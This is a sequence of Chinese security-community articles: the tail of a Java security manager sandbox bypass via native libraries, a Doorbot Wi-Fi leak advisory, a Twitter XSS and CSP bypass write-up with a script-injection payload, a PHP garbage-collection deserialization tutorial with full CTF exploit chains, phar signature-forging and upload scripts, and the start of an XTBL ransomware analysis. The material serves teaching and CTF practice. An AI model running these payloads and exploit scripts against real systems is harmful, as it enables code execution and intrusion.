//在这里执行系统命令
system(c_str);
(*env)->ReleaseStringUTFChars(env, j_str, c_str);
return (*env)->NewStringUTF(env, buff);
}
#ifdef __cplusplus
}
#endif
编译，生成动态链接库
gcc -I$JAVA_HOME/include -I$JAVA_HOME/include/linux -fPIC -shared EvilMethodClass.c -o libEvilMethodClass.so
放到/root/目录下
Poc.java
public class Poc {
public static void main(String[] args){
EvilMethodClass.evilMethod("whoami");
}
}
我编译了Linux下的so，如下图所示，同样policy文件没有赋予文件的执行权限，却执行whoami成功，成功绕过java security
manager机制，逃逸沙箱。
exp如下：<https://github.com/c0d3p1ut0s/java-security-manager-bypass/tree/master/invoke-native-method>
修复方案：不授予loadLibrary权限
## 0x04 第三方java security manager的安全性
从上面的绕过方法来看，在给不可信的代码授予权限时需要非常谨慎，有些权限一旦授予，就可能导致整个java security manager体系的绕过。
默认java security manager的policy是白名单模式的，也就是说，只有在policy文件出现的权限才是被授予的。而有些第三方的java
security manager支持黑名单模式，这样更加危险。例如[pro-grade](http://pro-grade.sourceforge.net/)，它支持黑名单模式，实现了deny语法。这意味着如果没有把上面提到的这些危险的权限禁止的话，绕过java
security manager将会是非常容易的。
## 0x05 Reference
* <https://docs.oracle.com/javase/8/docs/api/java/lang/SecurityManager.html>
* <https://docs.oracle.com/javase/8/docs/api/java/lang/RuntimePermission.html>
* <https://docs.oracle.com/javase/8/docs/technotes/guides/security/PolicyFiles.html>
这篇文章中使用的绕过的代码都已上传到[github](https://github.com/c0d3p1ut0s/java-security-manager-bypass/)。
审核人：yiwang 编辑：边边 | 社区文章 |
# CVE-2015-4400：Doorbot门铃联网信息泄漏
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://blog.fortinet.com/post/cve-2015-4400-backdoorbot-network-configuration-leak-on-a-connected-doorbell>
译文仅供参考，具体内容表达以及含义原文为准。
**概述**
2015年3月,FortiGuard将一个网络配置信息泄漏漏洞的详细信息报告给了Doorbot的生产商。
这个漏洞存在于他们的第一代联网门铃设备中,即Doorbot
v1.0。但是有其他的研究人员发表了相关文章,并表示这个漏洞同样会对其他版本的新款联网门铃产生影响。
这个漏洞的CVE编号为CVE-2015-4400:DoorBot联网配置信息泄漏。
除此之外,我们还发布了关于此漏洞的安全公告,并且记录下了该漏洞(DoorBot.Network.Configuration.Leak)的IPS特征码。
**
**
**门铃都能联网了?** ****
我们所说的这款产品名为“Ring”(这款产品以前的名字为Doorbot),这是一款带有网络通信功能的智能门铃。它可以与家庭Wi-Fi网络进行连接,利用这个智能门铃,用户就可以通过一台智能手机来与门外的来访者进行对话了。除此之外,当家门外有人按门铃时,手机也会接收到相应的提示。值得一提的是,用户还可以将这个智能门铃与家中已有的普通门铃进行连接,连接成功之后,用户就可以通过智能手机来与门外的人说话了。
在2015年3月,我发现了一个漏洞,攻击者可以利用这个漏洞来入侵你家的Wi-Fi网络。
**
**
**概念验证视频**
在此,我们给大家提供了一个有关这一漏洞的概念验证视频,视频地址如下:
[https://youtu.be/a05RciFhPrs](https://youtu.be/a05RciFhPrs)
简而言之,这个漏洞的成因可以归结于智能门铃中GainSpan Wi-Fi模块的错误配置,攻击者可以通过这个模块并以明文的形式恢复出Doorbot的网络配置信息。
既然我们在这里提到了用户凭证的明文数据,那么还有一点不得不说,安全研究人员在2015年3月对Doorbot的安卓应用程序进行了分析和检测,检测发现该程序会将用户的登录凭证信息以明文形式存储在手机中。但好消息是,Doorbot的生产商在得知这一信息之后,便立刻更新了应用程序并修复了这个问题。
**漏洞利用**
直到今天,Doorbot就安全性方面而言,其生厂商一直津津乐道的就是该设备将其重置按钮设计在了门铃背后一个很难触碰到的地方,这多亏了他们申请了专利的螺丝…而这一功能纯粹只能防止设备被小偷盗走。
从我个人的经验出发,我认为只要随便使用任意一款螺丝刀就可以将这个设备拆下来了,这也就意味着任何人都可以按下设备的“重置按钮”。从某种程度上而言,这种所谓的“安全机制”使得新款的Doorbot设备更加的不安全了。
就此看来,我认为这款设备唯一一个进行了加密处理的就是Wi-Fi的登录密码凭证了。
最重要的是,攻击者不仅可以利用这个漏洞来入侵你的智能门铃设备,而且通过设备的重置按钮,攻击者还可以在DoorBots门铃被转卖或者弃用之后,恢复出这款设备之前使用者的网络信息。(现在你可能不会想去赶紧卖掉你的DoorBot了吧:))
**GainSpan模块**
在介绍GainSpan模块之前,我先普及一下有关物联网的相关知识。物联网是新一代信息技术的重要组成部分,也是“信息化”时代的重要发展阶段。顾名思义,物联网就是物物相连的互联网。这有两层意思:其一,物联网的核心和基础仍然是互联网,是在互联网基础上的延伸和扩展的网络;其二,其用户端延伸和扩展到了任何物品与物品之间,进行信息交换和通信,也就是物物相息。物联网通过智能感知、识别技术与普适计算等通信感知技术,广泛应用于网络的融合中,也因此被称为继计算机、互联网之后世界信息产业发展的第三次浪潮。
现在,有大量的物联网设备采用了GainSpan Wi-Fi模块,因为这个模块可以给智能物联网设备提供联网功能。使用了这个模块之后,智能设备便可以进行网络通信了。
**
**
**这个模块提供了下列两种运行操作模式:**
1、限制接入点:正如这个模式的名称所言,如果相关物联网设备在这个模式下运行,那么这款设备就可以作为一个有时间段限制的接入点来使用。在Doorbot/Ring之中,这个模式会在设备的调试安装期间启用。当设备在这个模式下运行时,用户可以通过Doorbot/Ring的手机应用程序来连接Doorbot的接入点,设备会将当前所使用的Wi-Fi网络详细信息发送给手机客户端。Doorbot的接入点的命名规则是:按照惯例,Doorbot接入点名称以DoorbotAP_XXXXXX形式命名,其中最后的六个字符与Doorbot设备的硬件MAC地址的最后六位字符相对应。
值得一提的是,攻击者只要按下了设备的重置按钮,就可以将设备的运行模式改成限制接入点模式。具体方法我们已经在文章中进行过讲解了,在此不再进行赘述。
2、基础客户端:在这个运行模式下,物联网设备可以像其他带有Wi-Fi功能的设备一样进行联网操作。GainSpan模块可以与这个模式进行协同操作,并且增强物联网设备的联网功能。
在此之前,GainSpan模块就曾因为错误的设置而泄漏了用户的网络配置数据。而类似事件也曾在Twine设备和Wi-Fi智能称的身上发生过,这些事件也在提醒广大的物联网设备制造商,在往设备中添加新的技术之前,应该重点考虑设备的安全机制以及相应的安全配置。 | 社区文章 |
# 【技术分享】看我如何挖到Twitter的XSS漏洞并绕过了CSP（含演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：paulosyibelo.com
原文地址：<http://www.paulosyibelo.com/2017/05/twitter-xss-csp-bypass.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[ **童话**](http://bobao.360.cn/member/contribute?uid=2782911444)
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
几个月前， **我挖到了一个Twitter的XSS漏洞，同时绕过了站点的内容安全策略（CSP）成功执行了JavaScript代码。**
在本篇文章中将主要向大家分享该XSS漏洞挖掘的思路及具体细节，同时在文章中附带了PoC演示视频。
**漏洞分析**
存在漏洞的站点为<https://apps.twitter.com>，当开发人员创建应用时可以设置服务网站（Website）信息，用于提供对应用程序更加详细的描述，及应用下载等功能。
经过测试后发现，Twitter的开发人员对该处输入的内容在服务端的正则校验可能是这样：([https?:])w+
细心的同学可能会发现这个正则表达式的开头缺少^字符，当我们输入类似data:CONTENT#https://…这种url是可以通过验证的，所以此时我们已经获得了一个HTML注入。由于该站点CSP（内容安全策略）的限制，此处注入HTML代码并不会解析。
在对HTTP头检查后，我注意到script-src和object-src块中有多个CSP（内容安全策略）配置错误，利用这些配置缺陷可能绕过twitter.com的CSP（内容安全策略）。CSP的规则如下所示：
script-src https://connect.facebook.net https://cm.g.doubleclick.net https://ssl.google-analytics.com https://graph.facebook.com https://twitter.com 'unsafe-eval' 'unsafe-inline' https://*.twimg.com https://api.twitter.com https://analytics.twitter.com https://publish.twitter.com https://ton.twitter.com https://syndication.twitter.com https://www.google.com;frame-ancestors 'self';object-src https://twitter.com https://pbs.twimg.com; default-src 'self';...
看到这里，object-src和script-src块立即引起了我的注意。经过一番分析，我找到一个可信域（cdn.syndication.twimg.com
又名 syndication.twitter.com）主机的JSONP endpoints。
一开始我认为，通过利用object-src块的内容（https://pbs.twimg.com），这个网站可以将Flash文件（as
picture/video extension with few bytes
header）上传到Twitter的CDN服务器，将其作为嵌入式对象（embedded
Object）以执行代码。然而由于对用户输入长度的限制，我试图执行的payload都因为过长而被截断，所以这种利用方式最后没有成功。我找到一个可信域下可以利用的点，写出了一个较短的payload，当注入到twitter.com的时候代码执行，成功弹窗。
http://syndication.twitter.com/widgets/timelines/246079887021051904?dnt=true&domain=site.com&lang=en&callback=alert
当我们向服务端请求，来自syndication.twitter.com主机的JSONP响应头有一个Content-Disposition字段强制将返回的内容作为文件下载。但是，Chrome浏览器即使将返回的内容作为附件下载但由于配置错误的“unsafe-inline”CSP（内容安全策略）块意味着我们仍然可以执行代码。
通过设置服务网站（Website）信息如下：
data:text/html,<script src="https://syndication.twitter.com/widgets/timelines/246079887021051904?callback=alert"></script>
客户端代码将会执行，弹窗。
**PoC 演示视频**
****
**
**
**后记**
在后续的分析过程中我发现ssl.google-analytics.com、www.google.com还有graph.facebook.com主机的JSONP
endpoints也可以被利用，我已经将其写入到向Twitter报告漏洞的邮件中，但官方表示这些问题短期内可能不会被修复，以为这可能影响部分功能的正常使用，同时联系其他厂商也需要一定的时间。
在这篇文章发布后Twitter上的研究员[ **@ Ben
Hayak提示**](https://twitter.com/BenHayak/status/859490588504317953)，我们也可以在该点展开同源方法执行（SOME）攻击，像这样：
https://syndication.twitter.com/widgets/timelines/246079887021051904?callback=
document.body.firstElementChild.Reference.submit
具体方法可以参考这篇文章：[ **Instagram
XSS**](http://www.paulosyibelo.com/2016/11/instagram-stored-oauth-xss.html) | 社区文章 |
# 前言
上周战队知识分享时，`H3018`大师傅讲了`PHP GC`回收机制的利用，学会了如何去绕过抛出异常。
`H3018`大师傅讲述的很清楚，大家有兴趣的可以去看一下哇，链接如下
[https://www.bilibili.com/video/BV16g411s7CH/](https://www.bilibili.com/video/BV16g411s7CH/?spm_id_from=333.999.0.0&vd_source=414113f33a1cd681c43e79462250b4d0)
这篇文章的话没有怎么涉及底层原理，只是将我自己的见解简述一下，希望能对正在学习PHP反序列化的师傅有所帮助。
# GC
## 什么是GC
`Gc`，全称`Garbage collection`，即垃圾回收机制。
在PHP中有这个`GC`机制
## PHP中的GC
在PHP中，使用`引用计数`和`回收周期`来自动管理内存对象的，当一个变量被设置为`NULL`，或者没有任何指针指向
时，它就会被变成垃圾，被`GC`机制自动回收掉
那么这里的话我们就可以理解为，当一个对象没有被引用时，就会被`GC`机制回收，在回收的过程中，它会自动触发`_destruct`方法，而这也就是我们绕过抛出异常的关键点。
上文说到PHP是使用`引用计数`来进行管理的，接下来简单说一下。
### 引用计数
当我们PHP创建一个变量时，这个变量会被存储在一个名为`zval`的变量容器中。在这个`zval`变量容器中，不仅包含变量的类型和值，还包含两个字节的额外信息。
第一个字节名为`is_ref`，是`bool`值，它用来标识这个变量是否是属于引用集合。PHP引擎通过这个字节来区分普通变量和引用变量，由于PHP允许用户使用`&`来使用自定义引用，`zval`变量容器中还有一个内部引用计数机制，来优化内存使用。
第二个字节是`refcount`，它用来表示指向`zval`变量容器的变量个数。所有的符号存储在一个符号表中，其中每个符号都有作用域。
看接下来的这个例子
<?php
$a = "new string";
xdebug_debug_zval('a'); //用于查看变量a的zval变量容器的内容
?>
我们可以看到这里定义了一个变量`$a`，生成了类型为`String`和值为`new
string`的变量容器，而对于两个额外的字节，`is_ref`和`refcount`，我们这里可以看到是不存在引用的，所以`is_ref`的值应该是false，而`refcount`是表示变量个数的，那么这里就应该是1，接下来我们验证一下
接下来我们添加一个引用
<?php
<?php
$a="new string";
$b =&$a;
xdebug_debug_zval('a');
?>
按照之前的思路，每生成一个变量就有一个`zval`记录其类型和值以及两个额外字节，那我们这里的话a的`refcount`应该是1，`is_ref`应该是`true`，接下来我们验证一下
哎，结果不同于我们所想的，这是为什么呢？
因为同一变量容器被变量a和变量b关联，当没必要时,php不会去复制已生成的变量容器。
所以这一个`zval`容器存储了`a`和`b`两个变量，就使得`refcount`的值为2.
接下来说一下容器的销毁这个事。
变量容器在`refcount`变成0时就被销毁。它这个值是如何减少的呢，当函数执行结束或者对变量调用了unset()函数,`refcount`就会减1。
看个例子
<?php
$a="new string";
$b =&$a;
$c =&$b;
xdebug_debug_zval('a');
unset($b,$c);
xdebug_debug_zval('a');
?>
按照刚刚所说，那么这里的首次输出的`is_ref`应该是`true`，`refcount`为3。
第二次输出的`is_ref`值是什么呢，我们可以看到引用`$a`的变量`$b`和`$c`都被`unset`了，所以这里的`is_ref`应该是`false`，也是因为`unset`，这里的`refcount`应该从`3`变成了`1`，接下来验证一下
# GC在PHP 反序列化中的利用
`GC`如果在PHP反序列化中生效，那它就会直接触发`_destruct`方法，接下来以例子来演示。
## demo
首先来看变量被`unset`函数处理的情况
<?php
highlight_file(__FILE__);
error_reporting(0);
class test{
public $num;
public function __construct($num) {
$this->num = $num; echo $this->num."__construct"."</br>";
}
public function __destruct(){
echo $this->num."__destruct()"."</br>";
}
}
$a = new test(1);
unset($a);
$b = new test(2);
$c = new test(3);
这个是一种方法，还有一种方法，如下。
我们知道当对象为`NULL`时也是可以触发`_destruct`的，所以我们这里的话来试一下反序列化一个数组，然后写入第一个索引为对象，将第二个赋值为`0`，看一下能否触发。(原理我感觉应该是给第一个对象赋值为0键时，此时又将0赋值给了另一个，就相当于它失去了引用，被视为垃圾给回收了)
demo如下
<?php
show_source(__FILE__);
$flag = "flag";
class B {
function __destruct() {
global $flag;
echo $flag;
}
}
$a = unserialize($_GET['1']);
throw new Exception('你想干什么');
我们可以看到这里在反序列化后就抛出异常了，如果按照正常的话，是无法触发`_destruct`的，我们按照先前所想，这里先反序列化一个数组
<?php
show_source(__FILE__);
class B {
function __destruct() {
global $flag;
echo $flag;
}
}
$a=array(new B,0);
echo serialize($a);
得到序列化文本如下
a:2:{i:0;O:1:"B":0:{}i:1;i:0;}
对象类型:长度:{类型:长度;类型:长度:类名:值类型:长度;类型:长度;}
数组:长度为2::{int型:长度0;类:长度为1:类名为"B":值为0 int型:值为1：int型;值为0
接下来我们按照我们所想，将第二个索引置空，就可以触发`GC`回收机制，因此修改序列化文本为
a:2:{i:0;O:1:"B":0:{}i:0;i:0;}
去尝试一下
成功触发，看到这里也就知道了大致的思路
这里可以看到也是成功提前触发了`_destruct`，因为如果正常情况的话，有异常抛出就无法再触发`_destruct`了，而这个思路也是我们在CTF中绕过异常的一个方法。
# Gc在Phar反序列化中的利用
Gc在Phar反序列化中类似于PHP反序列化，也是当遇到抛出异常时，可以借用上面的方法来实现绕过，下面以demo来简单讲解一下。
## demo
<?php
highlight_file(__FILE__);
class Test{
public $code;
public function __destruct(){
eval($this -> code);
}
}
$filename = $_GET['filename'];
echo file_get_contents($filename);
throw new Error("Garbage collection");
?>
看到`file_get_contents`函数和类，就想到Phar反序列化，所以接下来尝试借助`file_get_contents`方法来进行反序列化(因为这里只是本地测试一下，所以不再设置文件上传那些，直接将生成的Phar文件放置本地进行利用了)。
构造Exp如下
<?php
class test{
public $code= "phpinfo();";
}
$a = new test();
$c = array($a,0);
$b = new Phar('1.phar',0);//后缀名必须为phar
$b->startBuffering();//开始缓冲 Phar 写操作
$b->setMetadata($c);//自定义的meta-data存入manifest
$b->setStub("<?php __HALT_COMPILER();?>");//设置stub，stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件，可以利用这点绕过文件上传检测
$b->addFromString("test.txt","test");//添加要压缩的文件
$b->stopBuffering();//停止缓冲对 Phar 归档的写入请求，并将更改保存到磁盘
?>
> 注：需要去检查一下php.ini中的phar.readonly选项，如果是On，需要修改为Off。否则会报错，无法生成phar文件
> 小Tip: 这里如果有师傅不懂为什么这样写，可以学一下Phar反序列化，我之前也写过一篇关于Phar反序列化的文章，
> 师傅们可以参考一下<https://tttang.com/archive/1732/>
用`010editor`打开phar文件
可以发现`i:1`，按照我们之前的思路，我们这里将`i:1`修改成`i:0`就可以绕过抛出异常，但在Phar文件中，我们是不能任意修改数据的，否则就会因为签名错误而导致文件出错，不过签名是可以进行伪造的，所以我们先将`1.phar`中的`i:1`修改为`i:0`，接下来利用脚本使得签名正确。
脚本如下
import gzip
from hashlib import sha1
with open('D:\\phpStudy\\PHPTutorial\\WWW\html\\1.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
open("2.phar","wb").write(newf)
打开2.phar文件查看一下
变成`i:0`且文件正常，接下来利用phar伪协议包含这个文件
$filename=phar://2.phar
可以发现成功输出了phpinfo。
# CTF实战
## 例题1
这道题是`H3018`大师傅在知识分享时的例题，在这里引用一下，源码如下
<?php
highlight_file(__FILE__);
error_reporting(0);
class cg0{
public $num;
public function __destruct(){
echo $this->num."hello __destruct";
}
}
class cg1{
public $string;
public function __toString() {
echo "hello __toString";
$this->string->flag();
}
}
class cg2{
public $cmd;
public function flag(){
echo "hello __flag()";
eval($this->cmd);
}
}
$a=unserialize($_GET['code']);
throw new Exception("Garbage collection");
?>
这道题的话思路比较简单
1、首先调用__destrcut，然后通过num参数触发__tostring
2、给string参数赋值，调用cg2的flag方法
3、给cmd参数赋值，实现RCE
但我们会发现这里首先要用到的就是`__destruct`，而代码末尾带有`throw new Exception("Garbage
collection");`，即异常抛出，所以我们首先需要解决的就是如何绕过他，上文在讲`GC中的PHP反序列化时`,demo已经给出了方法，即先传值给数组，而后将第二个索引置空即可，因此我们这里按照平常思路，先构造出payload
<?php
highlight_file(__FILE__);
error_reporting(0);
class cg0{
public $num;
}
class cg1{
public $string;
}
class cg2{
public $cmd;
}
$a = new cg0();
$a->num=new cg1();
$a->num->string=new cg2();
$a->num->string->cmd="phpinfo();";
$b=array($a,0);
echo serialize($b);
得到
a:2:{i:0;O:3:"cg0":1:{s:3:"num";O:3:"cg1":1:{s:6:"string";O:3:"cg2":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:1;i:0;}
将`i:1`修改为`i:0`
a:2:{i:0;O:3:"cg0":1:{s:3:"num";O:3:"cg1":1:{s:6:"string";O:3:"cg2":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:0;i:0;}
接下来去尝试一下
成功触发phpinfo()
## CTFShow[卷王杯]easy unserialize
源码如下
<?php
/**
* @Author: F10wers_13eiCheng
* @Date: 2022-02-01 11:25:02
* @Last Modified by: F10wers_13eiCheng
* @Last Modified time: 2022-02-07 15:08:18
*/
include("./HappyYear.php");
class one {
public $object;
public function MeMeMe() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
global $talk;
echo "$talk"."</br>";
global $flag;
echo $flag;
}
});
}
public function __destruct() {
@$this->object->add();
}
public function __toString() {
return $this->object->string;
}
}
class second {
protected $filename;
protected function addMe() {
return "Wow you have sovled".$this->filename;
}
public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}
class third {
private $string;
public function __construct($string) {
$this->string = $string;
}
public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}
if (isset($_GET["ctfshow"])) {
$a=unserialize($_GET['ctfshow']);
throw new Exception("高一新生报道");
} else {
highlight_file(__FILE__);
}
简单梳理一下思路，触发`MeMeMe`方法为最终目标，以`_destruct`为起点，绕过抛出异常的方式同之前即可
接下来看一下它的大致流程
首先触发`_destruct`，那这里的`add()`无疑是让我们触发`_call`魔法方法，因此接下来到`_call`这里，发现这里拼接了`Me`，那它肯定就指向了`addMe()`这个方法，接下来看到`$this->filename`，想到触发`_toString`魔术方法，接下来根进`_toString`方法，发现`object->string`，那么这个的话就是触发`_get`方法了，因此接着看`get()`魔术方法，这个时候就有一个问题，怎么通过`$var[$name]();`来进入one类的`MeMeMe`方法，我们这里可以控制`$var`的值，当给它传值为数组，内容为类和方法时，就可成功触发类中的方法，所以我们这里给`$var`赋值为`[new
one(),MeMeMe]`即可，此时还有一个问题，就是这个`MeMeMe`中的`function($fn, $prev)`如何理解，接下来我们本地测试一下
发现这个`$fn`是变量值，而`$prev`则是变量名，因此这里我们新增一个变量名为`year_parm`，且其值为`Happy_func`即可绕过if语句，接下来就可以去写Exp了
<?php
/**
* @Author: F10wers_13eiCheng
* @Date: 2022-02-01 11:25:02
* @Last Modified by: F10wers_13eiCheng
* @Last Modified time: 2022-02-07 15:08:18
*/
include("./HappyYear.php");
class one {
public $year_parm=array("Happy_func");
public $object;
public function MeMeMe() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
global $talk;
echo "$talk"."</br>";
global $flag;
echo $flag;
}
});
}
public function __destruct() {
@$this->object->add();
}
public function __toString() {
return $this->object->string;
}
}
class second {
public $filename;
protected function addMe() {
return "Wow you have sovled".$this->filename;
}
public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}
class third {
private $string;
public function __construct($string) {
$this->string = $string;
}
public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}
$a=new one();
$a->object=new second();
$a->object->filename=new one();
$a->object->filename->object=new third(array("string"=>[new one(),"MeMeMe"]));
$b = array($a,NULL);
echo urlencode(serialize($b));
得到payload
a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BN%3B%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7D%7D%7D%7Di%3A1%3BN%3B%7D
接下来解码一下
a:2:{i:0;O:3:"one":2:{s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}s:6:"object";O:6:"second":1:{s:8:"filename";O:3:"one":2:{s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}s:6:"object";O:5:"third":1:{s:13:"thirdstring";a:1:{s:6:"string";a:2:{i:0;O:3:"one":2:{s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}s:6:"object";N;}i:1;s:6:"MeMeMe";}}}}}}i:1;N;}
修改`i:1`为`i:0`再进行URL编码，得到最终payload
a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BN%3B%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7D%7D%7D%7Di%3A0%3BN%3B%7D
# [NSSCTF]prize_p1
题目环境<https://www.ctfer.vip/problem/14>
源码如下
<META http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
highlight_file(__FILE__);
class getflag {
function __destruct() {
echo getenv("FLAG");
}
}
class A {
public $config;
function __destruct() {
if ($this->config == 'w') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗，我的建议是不要那样做。");
}
file_put_contents("./tmp/a.txt", $data);
} else if ($this->config == 'r') {
$data = $_POST[0];
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
die("我知道你想干吗，我的建议是不要那样做。");
}
echo file_get_contents($data);
}
}
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
die("我知道你想干吗，我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");
看到`file_put_contents`，`file_get_contents`以及魔术方法`__destruct`，想到这里可以利用Phar反序列化，我们写个文件然后用phar伪协议包含这个文件就可以触发魔术方法，接下来说一下几个需要绕过的点
1、过滤了部分关键词，可以看到flag等关键词被绕过
2、Phar文件含有很多不可见字符，怎么用file_put_contents函数来完整的上传
3、throw new Error的绕过，即绕过抛出异常
对于第一点，我们这里需要知道一个知识，就是当`Phar`文件进行gzip压缩后，是不影响其功能的，所以我们这里可以通过对文件进行`gzip`压缩来绕过，第二点，当我们使用Python脚本来上传文件时，就可以完整的上传文件，第三点，这算的上是一个老生常谈的问题了，反序列化写数组而后给另一个赋值为0从而绕过。
思路有了，接下来开始解题，首先构造Phar文件
<?php
class getflag{
}
$a=new getflag();
$b=array($a,0);
$phar = new Phar("ph1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($b); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
运行php文件后得到phar文件，打开文件修改`i:1`为`i:0`，然后再用脚本得到正确签名
import gzip
from hashlib import sha1
file = open("ph1.phar","rb").read()
text = file[:-28] #读取开始到末尾除签名外内容
last = file[-8:] #读取最后8位的GBMB和签名flag
new_file = text+sha1(text).digest() + last #生成新的文件内容，主要是此时sha1正确了。
open("ph2.phar","wb").write(new_file)
此时就得到了正确的phar文件，接下来构造写入文件的exp
<?php
class A {
public $config='w';
}
$a = new A();
echo serialize($a);
?>
得到写入文件的payload为`O:1:"A":1:{s:6:"config";s:1:"w";}`，
同理得到读取文件的payload为`O:1:"A":1:{s:6:"config";s:1:"r";}`
接下来有phar文件了，我们只需要对文件进行压缩来绕过关键词检测，再借用python脚本和写入文件的payload，就可以上传文件，同时再利用读取文件的payload就可以触发Phar反序列化，得到flag，最终脚本如下
import requests
import gzip
import re
url = 'http://1.14.71.254:28496/'
file = open("ph2.phar", "rb") #打开文件
file_out = gzip.open("phar.zip", "wb+")#创建压缩文件对象
file_out.writelines(file)
file_out.close()
file.close()
requests.post(
url,
params={
0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'
},
data={
0: open('phar.zip', 'rb').read()
}
) # 写入
res = requests.post(
url,
params={
0: 'O:1:"A":1:{s:6:"config";s:1:"r";}'
},
data={
0: 'phar://tmp/a.txt'
}
) # 触发
res.encoding='utf-8'
flag = re.compile('(NSSCTF\{.+?\})').findall(res.text)[0]
print(flag)
但我这里没有得到flag，看一些师傅说，这里的`/tmp/a.txt`无法写入内容，所以就不放flag截图了，思路应该是没什么问题的。
# 参考文章
<https://xz.aliyun.com/t/10961#toc-1>
<http://blog.m1kael.cn/index.php/archives/14/>
<https://yangxikun.com/php/2013/08/24/php-garbage-collection-mechanism.html> | 社区文章 |
# 【木马分析】服务器的神秘来客：XTBL敲诈者木马技术分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**0x1前言**
XTBL敲诈者是一款专门针对Windows服务器的敲诈者木马，最早出现于2015年，不过当时只在小范围传播，并未大面积影响国内服务器。但自今年六月起，国内不少服务器开始出现XTBL敲诈者感染迹象，而且还出现了多个变种。根据360反病毒中心调查分析，该木马很可能是攻击者利用服务器漏洞入侵后直接运行感染的。
图1 搜索引擎返回结果显示“XTBL”敲诈者盛行
服务器感染“XTBL”敲诈者后，服务器中文档，压缩包，图片等文件均遭到加密，并修改文件后缀为“XTBL”，并在文件名中附带黑客的邮箱。图2显示的是一位求助网友的服务器感染“XTBL”敲诈者后的桌面截图。
图2 感染“XTBL”敲诈者木马后桌面截图
**0x2 传播途径分析**
“XTBL”敲诈者的攻击目标主要为Windows服务器。黑客入侵服务器后释放敲诈者木马程序，而敲诈者木马在加密文档的同时枚举网络资源，查找工作组和域内所有共享服务器的共享资源，并对其进行加密，以达到二次传播的效果。对照求助网友的服务器登陆日志以及文档最后修改时间可以发现，服务器感染敲诈者木马之前一段时间曾遭到疑似爆破登陆。
图3 文件最后修改时间
图4 文件加密之前服务器曾遭到疑似爆破登陆
图5 “XTBL”敲诈者文件创建时间
**0x3 样本分析**
本文以最新捕获的“XTBL”样本为例进行分析。和大部分敲诈者木马相似，“XTBL”敲诈者木马解密数据段的数据，创建本进程另一实例作为“傀儡”进程进行进程替换，以达到运行shellcode的目的。初始进程可能伪装成安装包或其他应用程序，无恶意功能，载入shellcode的“傀儡”进程执行敲诈者木马的主要功能。
图6 “XTBL“敲诈者伪装成安装程序
从Dump出的shellcode可以看出，程序主要由五大功能模块组成。包含API字符串的解密及地址获取，启动项的添加，删除卷影，发送服务器信息以及加密文件。
图7 五大功能模块
对于API函数字符串的解密，则是取地址0x40D450中存放的常量字符串，偶数位四字节异或0x98765432，奇数位四字节异或0x12345678所得。之后通过得到的API字符串获取相对应的函数地址，构建导入表。
图 解密API字符串
